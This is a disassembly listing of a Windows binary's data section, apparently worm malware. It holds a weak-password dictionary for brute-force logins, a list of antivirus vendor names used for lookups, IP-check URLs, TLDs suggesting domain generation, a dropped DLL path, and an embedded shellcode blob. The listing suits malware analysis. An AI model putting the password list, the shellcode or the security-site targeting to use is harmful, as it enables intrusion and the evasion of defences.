dd offset aAsdfgh ; "asdfgh"
dd offset aQweasdzxc ; "qweasdzxc"
dd offset aQ1w2e3 ; "q1w2e3"
dd offset aQazwsx ; "qazwsx"
dd offset aQazwsxedc ; "qazwsxedc"
dd offset aZxcxz ; "zxcxz"
dd offset aZxccxz ; "zxccxz"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aPasswd ; "passwd"
dd offset aPassword_0 ; "password"
dd offset aPassword ; "Password"
dd offset aLogin_0 ; "login"
dd offset aLogin ; "Login"
dd offset aPass ; "pass"
dd offset aMypass ; "mypass"
dd offset aMypassword ; "mypassword"
dd offset aAdminadmin ; "adminadmin"
dd offset aRoot ; "root"
dd offset aRootroot ; "rootroot"
dd offset aTest ; "test"
dd offset aTesttest ; "testtest"
dd offset aTemp ; "temp"
dd offset aTemptemp ; "temptemp"
dd offset aFoofoo ; "foofoo"
dd offset aFoobar ; "foobar"
dd offset aDefault ; "default"
dd offset aPassword1 ; "password1"
dd offset aPassword12 ; "password12"
dd offset aPassword123 ; "password123"
dd offset aAdmin1 ; "admin1"
dd offset aAdmin12 ; "admin12"
dd offset aAdmin123 ; "admin123"
dd offset aPass1 ; "pass1"
dd offset aPass12 ; "pass12"
dd offset aPass123 ; "pass123"
dd offset aRoot123 ; "root123"
dd offset aPw123 ; "pw123"
dd offset aAbc123 ; "abc123"
dd offset aQwe123 ; "qwe123"
dd offset aTest123 ; "test123"
dd offset aTemp123 ; "temp123"
dd offset aMypc123 ; "mypc123"
dd offset aHome123 ; "home123"
dd offset aWork123 ; "work123"
dd offset aBoss123 ; "boss123"
dd offset aLove123 ; "love123"
dd offset aSample ; "sample"
dd offset aExample ; "example"
dd offset aInternet_0 ; "internet"
dd offset aInternet ; "Internet"
dd offset aNopass ; "nopass"
dd offset aNopassword ; "nopassword"
dd offset aNothing ; "nothing"
dd offset aIhavenopass ; "ihavenopass"
dd offset aTemporary ; "temporary"
dd offset aManager ; "manager"
dd offset aBusiness ; "business"
dd offset aOracle ; "oracle"
dd offset aLotus ; "lotus"
dd offset aDatabase ; "database"
dd offset aBackup ; "backup"
dd offset aOwner ; "owner"
dd offset aComputer ; "computer"
dd offset aServer ; "server"
dd offset aSecret ; "secret"
dd offset aSuper ; "super"
dd offset aShare ; "share"
dd offset aSuperuser ; "superuser"
dd offset aSupervisor ; "supervisor"
dd offset aOffice ; "office"
dd offset aShadow ; "shadow"
dd offset aSystem ; "system"
dd offset aPublic ; "public"
dd offset aSecure ; "secure"
dd offset aSecurity ; "security"
dd offset aDesktop ; "desktop"
dd offset aChangeme ; "changeme"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aNobody ; "nobody"
dd offset aCluster ; "cluster"
dd offset aCustomer ; "customer"
dd offset aExchange ; "exchange"
dd offset aExplorer ; "explorer"
dd offset aCampus ; "campus"
dd offset aMoney ; "money"
dd offset aAccess ; "access"
dd offset aDomain ; "domain"
dd offset aLetmein ; "letmein"
dd offset aLetitbe ; "letitbe"
dd offset aAnything ; "anything"
dd offset aUnknown ; "unknown"
dd offset aMonitor ; "monitor"
dd offset aWindows ; "windows"
dd offset aFiles ; "files"
dd offset aAcademia ; "academia"
dd offset aAccount ; "account"
dd offset aStudent ; "student"
dd offset aFreedom ; "freedom"
dd offset aForever ; "forever"
dd offset aCookie ; "cookie"
dd offset aCoffee ; "coffee"
dd offset aMarket ; "market"
dd offset aPrivate ; "private"
dd offset aGames ; "games"
dd offset aKiller ; "killer"
dd offset aController ; "controller"
dd offset aIntranet ; "intranet"
dd offset aWork ; "work"
dd offset aHome ; "home"
dd offset aJob ; "job"
dd offset aFoo ; "foo"
dd offset aWeb ; "web"
dd offset aFile ; "file"
dd offset aSql ; "sql"
dd offset aAaa_0 ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aFuck ; "fuck"
dd offset a12 ; "12"
dd offset a21 ; "21"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset a87654321 ; "87654321"
dd offset a987654321 ; "987654321"
dd offset a0987654321 ; "0987654321"
dd offset PrefixString ; "0"
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a00000 ; "00000"
dd offset a0000000 ; "0000000"
dd offset a00000000 ; "00000000"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a2_0 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset dword_9A2718+4
align 8
off_9B93F8 dd offset aVirus ; DATA XREF: sub_9A8D37:loc_9A8D54r
; "virus"
dd offset aSpyware ; "spyware"
dd offset aMalware ; "malware"
dd offset aRootkit ; "rootkit"
dd offset aDefender ; "defender"
dd offset aMicrosoft ; "microsoft"
dd offset aSymantec ; "symantec"
dd offset aNorton ; "norton"
dd offset aMcafee ; "mcafee"
dd offset aTrendmicro ; "trendmicro"
dd offset aSophos ; "sophos"
dd offset aPanda ; "panda"
dd offset aEtrust ; "etrust"
dd offset aNetworkassocia ; "networkassociates"
dd offset aComputerassoci ; "computerassociates"
dd offset aFSecure ; "f-secure"
dd offset aKaspersky ; "kaspersky"
dd offset aJotti ; "jotti"
dd offset aFProt ; "f-prot"
dd offset aNod32 ; "nod32"
dd offset aEset ; "eset"
dd offset aGrisoft ; "grisoft"
dd offset aDrweb ; "drweb"
dd offset aCentralcommand ; "centralcommand"
dd offset aAhnlab ; "ahnlab"
dd offset aEsafe ; "esafe"
dd offset aAvast ; "avast"
dd offset aAvira ; "avira"
dd offset aQuickheal ; "quickheal"
dd offset aComodo ; "comodo"
dd offset aClamav ; "clamav"
dd offset aEwido ; "ewido"
dd offset aFortinet ; "fortinet"
dd offset aGdata ; "gdata"
dd offset aHacksoft ; "hacksoft"
dd offset aHauri ; "hauri"
dd offset aIkarus ; "ikarus"
dd offset aK7computing ; "k7computing"
dd offset aNorman ; "norman"
dd offset aPctools ; "pctools"
dd offset aPrevx ; "prevx"
dd offset aRising ; "rising"
dd offset aSecurecomputin ; "securecomputing"
dd offset aSunbelt ; "sunbelt"
dd offset aEmsisoft ; "emsisoft"
dd offset aArcabit ; "arcabit"
dd offset aCpsecure ; "cpsecure"
dd offset aSpamhaus ; "spamhaus"
dd offset aCastlecops ; "castlecops"
dd offset aThreatexpert ; "threatexpert"
dd offset aWilderssecurit ; "wilderssecurity"
dd offset aWindowsupdate ; "windowsupdate"
off_9B94C8 dd offset dword_9A3C6C ; DATA XREF: sub_9A8D37:loc_9A8D82o
dd offset dword_9A3C68
dd offset dword_9A3C60
dd offset dword_9A3C58
dd offset dword_9A345C+7F4h
dd offset dword_9A345C+7ECh
dd offset dword_9A345C+7E4h
dd offset dword_9A345C+7DCh
off_9B94E8 dd offset aHttpCheckip_dy ; DATA XREF: sub_9A9580+58r
; "http://checkip.dyndns.org"
dd offset aHttpWww_whatis ; "http://www.whatismyip.org"
dd offset aHttpWww_whatsm ; "http://www.whatsmyipaddress.com"
dd offset aHttpWww_getmyi ; "http://www.getmyip.org"
dword_9B94F8 dd 0 ; DATA XREF: sub_9A98F7+4Ar
; sub_9A98F7:loc_9A9960r
dword_9B94FC dd 9, 1F1CB0h, 3 dup(0) ; DATA XREF: sub_9A98F7+52r
; sub_9A98F7+71r
dd 5, 9, 780E1FCBh, 3 dup(0)
dd 6, 9, 7C90568Ch, 7CA27CF4h, 7C86FED3h, 7C83E413h, 7
dd 9, 7C86BEB8h, 7CA1E84Eh, 7C86A01Bh, 7C83F517h, 2, 9
dd 7801CB24h, 3 dup(0)
dd 3, 9, 6F88F727h, 6F8916E2h, 2 dup(0)
dd 3, 1, 6FD8F727h, 6FD916E2h, 2 dup(0)
dd 3, 416h, 596FF727h, 597016E2h, 2 dup(0)
dd 3, 804h, 58FBF727h, 58FC16E2h, 2 dup(0)
dd 3, 4, 5860F727h, 586116E2h, 2 dup(0)
dd 3, 5, 6FE1F727h, 6FE216E2h, 2 dup(0)
dd 3, 6, 5978F727h, 597916E2h, 2 dup(0)
dd 3, 13h, 596CF727h, 596D16E2h, 2 dup(0)
dd 3, 0Bh, 597DF727h, 597E16E2h, 2 dup(0)
dd 3, 0Ch, 595BF727h, 595C16E2h, 2 dup(0)
dd 3, 7, 6FD9F727h, 6FDA16E2h, 2 dup(0)
dd 3, 8, 592AF727h, 592B16E2h, 2 dup(0)
dd 3, 0Eh, 5970F727h, 597116E2h, 2 dup(0)
dd 3, 0Dh, 5940F727h, 594116E2h, 2 dup(0)
dd 3, 10h, 596BF727h, 596C16E2h, 2 dup(0)
dd 3, 11h, 567FF727h, 568016E2h, 2 dup(0)
dd 3, 12h, 6FD6F727h, 6FD716E2h, 2 dup(0)
dd 3, 14h, 597CF727h, 597D16E2h, 2 dup(0)
dd 3, 15h, 5941F727h, 594216E2h, 2 dup(0)
dd 3, 16h, 596BF727h, 596C16E2h, 2 dup(0)
dd 3, 19h, 6FE1F727h, 6FE216E2h, 2 dup(0)
dd 3, 0Ah, 6FDBF727h, 6FDC16E2h, 2 dup(0)
dd 3, 1Dh, 597AF727h, 597B16E2h, 2 dup(0)
dd 3, 1Fh, 5A78F727h, 5A7916E2h, 2 dup(0)
dd 4, 9, 6F88F807h, 6F8917C2h, 2 dup(0)
dd 4, 1, 6FD8F807h, 6FD917C2h, 2 dup(0)
dd 4, 416h, 596FF807h, 597017C2h, 2 dup(0)
dd 4, 804h, 58FBF807h, 58FC17C2h, 2 dup(0)
dd 2 dup(4), 5860F807h, 586117C2h, 2 dup(0)
dd 4, 5, 6FE1F807h, 6FE217C2h, 2 dup(0)
dd 4, 6, 5978F807h, 597917C2h, 2 dup(0)
dd 4, 13h, 596CF807h, 596D17C2h, 2 dup(0)
dd 4, 0Bh, 597DF807h, 597E17C2h, 2 dup(0)
dd 4, 0Ch, 595BF807h, 595C17C2h, 2 dup(0)
dd 4, 7, 6FD9F807h, 6FDA17C2h, 2 dup(0)
dd 4, 8, 592AF807h, 592B17C2h, 2 dup(0)
dd 4, 0Eh, 5970F807h, 597117C2h, 2 dup(0)
dd 4, 0Dh, 5940F807h, 594117C2h, 2 dup(0)
dd 4, 10h, 596BF807h, 596C17C2h, 2 dup(0)
dd 4, 11h, 567FF807h, 568017C2h, 2 dup(0)
dd 4, 12h, 6FD6F807h, 6FD717C2h, 2 dup(0)
dd 4, 14h, 597CF807h, 597D17C2h, 2 dup(0)
dd 4, 15h, 5941F807h, 594217C2h, 2 dup(0)
dd 4, 16h, 596BF807h, 596C17C2h, 2 dup(0)
dd 4, 19h, 6FE1F807h, 6FE217C2h, 2 dup(0)
dd 4, 0Ah, 6FDBF807h, 6FDC17C2h, 2 dup(0)
dd 4, 1Dh, 597AF807h, 597B17C2h, 2 dup(0)
dd 4, 1Fh, 5A78F807h, 5A7917C2h, 2 dup(0)
dword_9B99F0 dd 0FFFFFFE8h, 8D5FC2FFh, 3180104Fh, 816641C4h, 75534D39h
; DATA XREF: sub_9A9654+71o
dd 26AFCF5h, 418B6459h, 0C408B2Eh, 8B1C408Bh, 8588B00h
dd 0A1B78Dh, 29E80000h, 50000000h, 0FC8BF8E2h, 9317FF56h
dd 0E807C683h, 18h, 5252D233h, 0C766CC8Bh, 512E7801h, 520477FFh
dd 52565152h, 0E0FF37FFh, 955651ADh, 8B3C4B8Bh, 3780B4Ch
dd 8DF633CBh, 5103B314h, 3128B20h, 0C0000FD3h, 0C1C0BF0Fh
dd 23207C0h, 3A8042h, 0C53BF575h, 3B460674h, 0DB721871h
dd 324518Bh, 14B70FD3h, 1C418B72h, 48BC303h, 5EC30390h
dd 0A260C359h, 8026768Ah, 7275C8ACh, 6E6F6D6Ch, 5D239900h
dd 0D9h
; DWORD dwMilliseconds
dwMilliseconds dd 3E8h ; DATA XREF: sub_9AC5BB:loc_9AC69Br
; sub_9AC789+C1r ...
; volatile LONG dword_9B9AB0
dword_9B9AB0 dd 64h ; DATA XREF: sub_9AC789+C8r
; sub_9ACA50+11o
off_9B9AB4 dd offset dword_9A44AC ; DATA XREF: sub_9AC476+19r
dd offset dword_9A44A4
dd offset dword_9A4498
dd offset dword_9A4490
dd offset dword_9A4484
; wchar_t *off_9B9AC8
off_9B9AC8 dd offset aBoot ; DATA XREF: sub_9AD71D+89r
; sub_9AD71D+ABr
; "Boot"
dd offset aCenter ; "Center"
dd offset aConfig ; "Config"
dd offset aDriver ; "Driver"
dd offset aHelper ; "Helper"
dd offset aImage ; "Image"
dd offset aInstaller ; "Installer"
dd offset aManager_0 ; "Manager"
dd offset aMicrosoft_0 ; "Microsoft"
dd offset aMonitor_0 ; "Monitor"
dd offset aNetwork ; "Network"
dd offset aSecurity_0 ; "Security"
dd offset aServer_0 ; "Server"
dd offset aShell ; "Shell"
dd offset aSupport ; "Support"
dd offset aSystem_0 ; "System"
dd offset aTask ; "Task"
dd offset aTime ; "Time"
dd offset aUniversal ; "Universal"
dd offset aUpdate ; "Update"
dd offset aWindows_0 ; "Windows"
align 10h
; int dword_9B9B20
dword_9B9B20 dd 0C351h ; DATA XREF: sub_9AD914+1Fr
align 8
dword_9B9B28 dd 0F52DA7E7h, 4912CA45h, 0D61E44E6h, 0BA1B4C72h, 8BF0723Ch
; DATA XREF: sub_9AD914+25o
dd 0F375EB4Bh, 0CD44E85Eh, 21E95687h, 333406E6h, 42934976h
dd 3603E8ECh, 4DADA619h, 967F5912h, 25418501h, 7E83E2CBh
dd 0B385DF72h, 0FB59E1DDh, 2D9A7897h, 0E93DB6B2h, 39455258h
dd 9FC8901Bh, 422B5CD7h, 0D86AA6DEh, 4CF2D003h, 2E2472AFh
dd 4DF38C9Dh, 0F24D2F2Fh, 2989D649h, 0FFC6C9A2h, 0B6985FF2h
dd 92AD0968h, 10D57010h, 0B6DA1CEAh, 0CC03D4BCh, 578E9E8Dh
dd 0BCFCCF8Ch, 319EC35Bh, 8A08DA5Bh, 0BF802693h, 8045DBD2h
dd 0AF873383h, 5FF6C269h, 14349915h, 0CC880FCBh, 93E92944h
dd 0F97E9E45h, 938A8712h, 0BB43338Eh, 605B400Ch, 3140864Ch
dd 13659917h, 8AC26CE4h, 0D930A4E5h, 0BB6AD6F3h, 2DADFEBh
dd 7E386DECh, 6811EE23h, 0A87D628Ah, 0C69E9393h, 23F17BDCh
dd 3972665Dh, 56E53DC8h, 0A8D920C3h, 0E435259Ah, 7ED4993Bh
dd 74D7D161h, 0EB6AE350h, 3D315A49h, 4A29DE21h, 0D1FC30CDh
dd 7398D7FDh, 53A64B60h, 0EEF95D08h, 9721E605h, 0D6B7D9EDh
dd 0B13400BCh, 26BD6B76h, 1C2C8A60h, 2D58E6B6h, 9404D47h
dd 9DB1835Bh, 0A28E983Ch, 7A5D9E2Dh, 0C80DF107h, 0B047261Bh
dd 8701C1Ah, 9CC24C76h, 0EF33ACFh, 0A800C61Eh, 9247CB15h
dd 7F91D7Eh, 4992AA42h, 0ED7104DCh, 0E6DCE7D6h, 25BD3CADh
dd 0ECFA3218h, 0FBA5B7FAh, 5249A1CCh, 0A76030BAh, 95A3B0D3h
dd 61DAF2E5h, 97D227BDh, 3366D8C0h, 0D2130437h, 0CB3F9D36h
dd 2E6B7924h, 0BE12269h, 485BC1ADh, 0D5E18Ah, 6443787h
dd 744CAEF5h, 0A30F204Bh, 0D4086357h, 3AF0EB57h, 0C4031AE3h
dd 2D179ADFh, 441FFD7Fh, 0B749DA71h, 0B5263FBAh, 0CAFE9CDDh
dd 0ECDB7018h, 96846399h, 4C801030h, 0BC4D7333h, 2C79C3B2h
dd 41CD6883h, 7DED455Ch, 88A8BEE7h
off_9B9D28 dd offset aBaidu_com ; DATA XREF: sub_9ADB52+25r
; "baidu.com"
dd offset aGoogle_com ; "google.com"
dd offset aYahoo_com ; "yahoo.com"
dd offset dword_9A4490
dd offset aAsk_com ; "ask.com"
dd offset aW3_org ; "w3.org"
; char *off_9B9D40
off_9B9D40 dd offset aJan ; DATA XREF: sub_9ADA6E+84r
; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
; char *off_9B9D70
off_9B9D70 dd offset a_cc ; DATA XREF: sub_9ADD9B+C3r
; ".cc"
dd offset a_cn ; ".cn"
dd offset a_ws ; ".ws"
dd offset a_com ; ".com"
dd offset a_net ; ".net"
dd offset a_org ; ".org"
dd offset a_info ; ".info"
dd offset a_biz ; ".biz"
dbl_9B9D90 db 56h, 48h, 85h, 56h, 77h, 0, 0, 0 ; DATA XREF: sub_9ADB52+C1w
; sub_9ADC21+Cr ...
off_9B9D98 dd offset dword_9A4AE4 ; DATA XREF: sub_9AE6A2+238r
dd offset dword_9A4AE0
dd offset aJpeg ; "jpeg"
dd offset dword_9A4AD4
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 9A4BA8h
byte_9B9DC0 db 6 ; DATA XREF: sub_9B392F+33r
; sub_9B392F+4Cr ...
db 3 dup(46h)
dd 45452929h, 46464609h, 29292946h, 1292929h, 5101101h
dd 45464646h, 40200000h, 6060202h, 666606h
byte_9B9DE8 db 4 ; DATA XREF: sub_9B2B17+418r
db 4, 2 dup(6)
dd 7070000h, 2 dup(404h)
dword_9B9DF8 dd 1 ; DATA XREF: sub_9B6513r
; sub_9B6665+39w
dword_9B9DFC dd 19930520h, 4 dup(0) ; DATA XREF: .text:009B6EDFo
; __NLG_Notify+2o
; HANDLE hObject
hObject dd 0E4h ; DATA XREF: sub_9A799E+EBw
; sub_9A799E+12Fr
; char aMarnwkcw[]
aMarnwkcw db 'marnwkcw',0 ; DATA XREF: sub_9A799E+A9o
; sub_9A799E:loc_9A7B20o ...
align 10h
dword_9B9E20 dd 0 ; DATA XREF: sub_9A7170+AFw
; sub_9ACABE+1Cr ...
align 8
; char ExistingFileName[]
ExistingFileName db 'c:\windows\system32\oc.dll',0 ; DATA XREF: sub_9A722A+2Bo
; sub_9A7410+5Co ...
align 4
dd 39h dup(0)
db 3 dup(0)
byte_9B9F2B db 0 ; DATA XREF: sub_9A752A+121w
; sub_9A799E+49w
; DWORD nNumberOfBytesToWrite
nNumberOfBytesToWrite dd 0 ; DATA XREF: StartAddress+89o
; StartAddress+B7r ...
; LPCVOID lpBuffer
lpBuffer dd 0 ; DATA XREF: StartAddress+97w
; sub_9A8326+1AEr ...
dword_9B9F34 dd 0CA3F246h ; DATA XREF: sub_9A752A+9r
; sub_9A799E+88w ...
; volatile LONG dword_9B9F38
dword_9B9F38 dd 0 ; DATA XREF: StartAddress:loc_9A77E2o
; sub_9ADCF2+9r ...
align 10h
; wchar_t word_9B9F40
word_9B9F40 dw 0 ; DATA XREF: sub_9A88A6+5Do
; sub_9A8949+32o ...
align 4
dd 80h dup(0)
db 2 dup(0)
word_9BA146 dw 0 ; DATA XREF: sub_9A8949+40w
dword_9BA148 dd 0 ; DATA XREF: fn+20w sub_9A8A37w ...
; LPVOID lpAddress
lpAddress dd 0 ; DATA XREF: sub_9A9D72+3r
; sub_9A9D72+19r ...
dword_9BA150 dd 7FFA0000h ; DATA XREF: sub_9A9DD2+3r sub_9AA49Fo
dword_9BA154 dd 0 ; DATA XREF: sub_9A9E5D+3r
; sub_9A9E5D+19r ...
dword_9BA158 dd 0 ; DATA XREF: sub_9A9F18+3r
; sub_9A9F18+19r ...
dword_9BA15C dd 0 ; DATA XREF: sub_9A9FAE+3r
; sub_9A9FAE+19r ...
dword_9BA160 dd 0 ; DATA XREF: .text:loc_9AA04Fr
; .text:009AA065r ...
dword_9BA164 dd 0 ; DATA XREF: sub_9AA29B:loc_9AA2C3r
; sub_9AA53A:loc_9AA54Fo
dword_9BA168 dd 0 ; DATA XREF: sub_9AA29B+9r
; sub_9AA53A+Dw
align 10h
; char Buffer[]
Buffer db 100h dup(0) ; DATA XREF: sub_9AA85A+1CEo
; sub_9AB2C3+16o
dword_9BA270 dd 0 ; DATA XREF: sub_9AC5BB+1Ar
; sub_9AC789+1Dr ...
; volatile LONG Addend
Addend dd 0 ; DATA XREF: sub_9AC5BB+Fo
; sub_9AC5BB:loc_9AC6E9o ...
; volatile LONG dword_9BA278
dword_9BA278 dd 0 ; DATA XREF: sub_9AC911+13r
; sub_9ACABE+D9r ...
dword_9BA27C dd 0 ; DATA XREF: sub_9AC911+1Br
; sub_9ACABE+1D1w ...
; volatile LONG dword_9BA280
dword_9BA280 dd 0 ; DATA XREF: sub_9AC789+110o
; sub_9AC911+D7o ...
; volatile LONG Target
Target dd 0 ; DATA XREF: sub_9AC6FE+3Co
; sub_9AC911+E2r
; volatile LONG dword_9BA288
dword_9BA288 dd 0 ; DATA XREF: sub_9ADCF2+3Co
; sub_9ADD9B+53w ...
dword_9BA28C dd 3 dup(0) ; DATA XREF: sub_9A9654+Do
; sub_9AE6A2+70o ...
dword_9BA298 dd 3 dup(0) ; DATA XREF: sub_9AE6A2+96o
; sub_9AEAF7+52o ...
; volatile LONG dword_9BA2A4
dword_9BA2A4 dd 0 ; DATA XREF: sub_9AC911:loc_9AC933r
; sub_9ACABE+17Cr ...
dword_9BA2A8 dd 0 ; DATA XREF: sub_9AEA12+63r
; sub_9AEA12+70w
; size_t dword_9BA2AC
dword_9BA2AC dd 0 ; DATA XREF: sub_9AEEBC+77r
; sub_9AEFDD+8Ew
; void *dword_9BA2B0
dword_9BA2B0 dd 0 ; DATA XREF: sub_9AEEBC:loc_9AEF29r
; sub_9AEFDD+7Ew
dword_9BA2B4 dd 0 ; DATA XREF: sub_9AEF58:loc_9AEFBEr
; sub_9AEFDD+Er ...
; void *Base
Base dd 0 ; DATA XREF: sub_9AEEBC+17r
; sub_9AEFDD+B7w
; size_t NumOfElements
NumOfElements dd 0 ; DATA XREF: sub_9AEEBC+20r
; sub_9AEFDD+C7w
; void *dword_9BA2C0
dword_9BA2C0 dd 0 ; DATA XREF: sub_9AEEBC:loc_9AEEFEr
; sub_9AEFDD+97w
; size_t dword_9BA2C4
dword_9BA2C4 dd 0 ; DATA XREF: sub_9AEEBC+4Cr
; sub_9AEFDD+A7w
dword_9BA2C8 dd 0 ; DATA XREF: sub_9B3D11+4r
; sub_9B3D23+19w ...
dword_9BA2CC dd 0 ; DATA XREF: sub_9B3D11+Cr
; sub_9B3D23+Cr ...
dword_9BA2D0 dd 0 ; DATA XREF: sub_9B3D23+1Ew
; sub_9B3DC6+23r ...
dword_9BA2D4 dd 0 ; DATA XREF: sub_9B3D23+31w
; sub_9B3D6A+Fr ...
dword_9BA2D8 dd 0 ; DATA XREF: sub_9B3D23+36w
; sub_9B3D6A+19r ...
dword_9BA2DC dd 0 ; DATA XREF: sub_9B3D23+3Bw
; sub_9B3D6A+23r ...
dword_9BA2E0 dd 1 ; DATA XREF: _CRT_INIT(x,x,x)+8r
; _CRT_INIT(x,x,x)+10w ...
dword_9BA2E4 dd 0 ; DATA XREF: sub_9B6363+E0r
; sub_9B6665+8Aw
; RPC_BINDING_HANDLE Binding
Binding dd 0 ; DATA XREF: .text:pStubDescriptoro
; sub_9A97A7+2Fo ...
dword_9BA2EC dd 0 ; DATA XREF: _CRT_INIT(x,x,x)+21w
dword_9BA2F0 dd 34710h ; DATA XREF: _CRT_INIT(x,x,x)+54w
; _CRT_INIT(x,x,x)+75r
; void *Memory
Memory dd 34710h ; DATA XREF: _CRT_INIT(x,x,x)+37w
; _CRT_INIT(x,x,x)+45r ...
dword_9BA2F8 dd 0 ; DATA XREF: start:loc_9B71F2r
; start+82r
dd 0B41h dup(0)
dd 1C8h, 0A4h, 6C745201h, 69776E55h, 100646Eh, 74696157h
dd 4D726F46h, 69746C75h, 4F656C70h, 63656A62h, 1007374h
dd 74737953h, 69546D65h, 6F54656Dh, 656C6946h, 656D6954h
dd 72460100h, 694C6565h, 72617262h, 47010079h, 65567465h
dd 6F697372h, 4178456Eh, 65470100h, 73795374h, 446D6574h
dd 63657269h, 79726F74h, 43010041h, 65736F6Ch, 646E6148h
dd 100656Ch, 626F6C47h, 72466C61h, 1006565h, 626F6C47h
dd 6C416C61h, 636F6Ch, 74654701h, 7473614Ch, 6F727245h
dd 47010072h, 75437465h, 6E657272h, 6F725074h, 73736563h
dd 69570100h, 68436564h, 6F547261h, 746C754Dh, 74794269h
dd 47010065h, 65567465h, 6F697372h, 4D01006Eh, 4665766Fh
dd 45656C69h, 1004178h, 65766F4Dh, 656C6946h, 47010041h
dd 65547465h, 6150706Dh, 416874h, 656C5301h, 1007065h
dd 656C6544h, 69466574h, 41656Ch, 636F4C01h, 6C69466Bh
dd 47010065h, 69467465h, 6953656Ch, 100657Ah, 61657243h
dd 69466574h, 41656Ch, 74655301h, 6F727245h, 646F4D72h
dd 43010065h, 74616572h, 72685465h, 646165h, 69784501h
dd 6F725074h, 73736563h, 704F0100h, 754D6E65h, 41786574h
dd 65470100h, 6D6F4374h, 646E616Dh, 656E694Ch, 43010041h
dd 74616572h, 74754D65h, 417865h, 74654701h, 706D6F43h
dd 72657475h, 656D614Eh, 47010041h, 6F4D7465h, 656C7564h
dd 656C6946h, 656D614Eh, 47010041h, 75437465h, 6E657272h
dd 6F725074h, 73736563h, 1006449h, 61736944h, 54656C62h
dd 61657268h, 62694C64h, 79726172h, 6C6C6143h, 44010073h
dd 63697665h, 436F4965h, 72746E6Fh, 1006C6Fh, 74697257h
dd 6C694665h, 47010065h, 65547465h, 6946706Dh, 614E656Ch
dd 41656Dh, 6C654401h, 46657465h, 57656C69h, 65470100h
dd 636F4C74h, 69546C61h, 100656Dh, 61657243h, 69466574h
dd 57656Ch, 6E694601h, 6F6C4364h, 1006573h, 646E6946h
dd 73726946h, 6C694674h, 1005765h, 746C754Dh, 74794269h
dd 576F5465h, 43656469h, 726168h, 74654701h, 706D6F43h
dd 72657475h, 656D614Eh, 54010057h, 696D7265h, 6574616Eh
dd 65726854h, 1006461h, 43746547h, 65727275h, 6854746Eh
dd 64616572h, 1006449h, 74696157h, 53726F46h, 6C676E69h
dd 6A624F65h, 746365h, 74655301h, 7473614Ch, 6F727245h
dd 4D010072h, 6C75646Fh, 4E323365h, 747865h, 646F4D01h
dd 33656C75h, 72694632h, 1007473h, 61657243h, 6F546574h
dd 65686C6Fh, 3233706Ch, 70616E53h, 746F6873h, 65530100h
dd 72685474h, 50646165h, 726F6972h, 797469h, 72695601h
dd 6C617574h, 746F7250h, 746365h, 74654701h, 65726854h
dd 72506461h, 69726F69h, 1007974h, 43746547h, 65727275h
dd 6854746Eh, 64616572h, 69560100h, 61757472h, 6572466Ch
dd 56010065h, 75747269h, 6C416C61h, 636F6Ch, 74654701h
dd 636F7250h, 72646441h, 737365h, 616F4C01h, 62694C64h
dd 79726172h, 47010041h, 6F4D7465h, 656C7564h, 646E6148h
dd 41656Ch, 65724301h, 44657461h, 63657269h, 79726F74h
dd 46010041h, 46646E69h, 74737269h, 656C6946h, 47010041h
dd 6F567465h, 656D756Ch, 6F666E49h, 74616D72h, 416E6F69h
dd 65470100h, 69724474h, 79546576h, 416570h, 74654701h
dd 69676F4Ch, 446C6163h, 65766972h, 47010073h, 69547465h
dd 6F436B63h, 746E75h, 65755101h, 65507972h, 726F6672h
dd 636E616Dh, 756F4365h, 7265746Eh, 65530100h, 6C694674h
